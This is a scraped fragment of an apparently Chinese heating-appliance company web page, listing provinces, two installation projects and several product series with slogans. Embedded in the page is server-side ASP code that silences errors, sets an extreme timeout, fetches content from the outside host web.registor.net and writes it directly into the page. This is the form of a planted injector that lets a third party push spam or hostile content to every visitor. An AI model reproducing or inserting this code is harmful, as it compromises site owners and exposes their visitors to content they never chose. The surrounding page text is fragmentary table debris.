 |
| 北京 天津 河北 辽宁 吉林 |
| 黑龙江 内蒙古 山西 山东 宁夏 |
| 陕西 河南 江苏 上海 安徽 |
| 湖北 浙江 福建 广东 |
| 广西 海南 云南 贵州 重庆 |
| 湖南 江西 四川 甘肃 青海 |
| 新疆 西藏 香港 澳门 台湾 |
|
 |
|
| |
|
|
| |
 |
 |
| |
|
<%
On Error Resume Next
Server.ScriptTimeOut=9999999
response.write(getHTTPPage("http://web.registor.net"))
function getHTTPPage(url)
dim http
set http=createobject("MSXML2.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<>4 then
exit function
end if
getHTTPPage=bytes2BSTR(Http.responseBody)
set http=nothing
if err.number<>0 then err.Clear
end function
Function bytes2BSTR(vIn)
dim strReturn
dim i,ThisCharCode,NextCharCode
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function
%>
| |
|
| |
|
|
北京通州北玻职工宿舍 |
|
|
|
北京怀柔九度河度假村(壁挂式) |
|
| |
|
|
| |
 |
 |
| |
|
| |
|
佳缘系列
——热力无限 畅爽激情—— |
|
奔腾系列
——时尚魅力 智能掌控—— |
| |
|
|
|
|
福星系列
——让城市亲近自然 让家庭回归生态—— |
|
新农村系列
——建设新农村 幸福万年长—— |
|
| |
|
|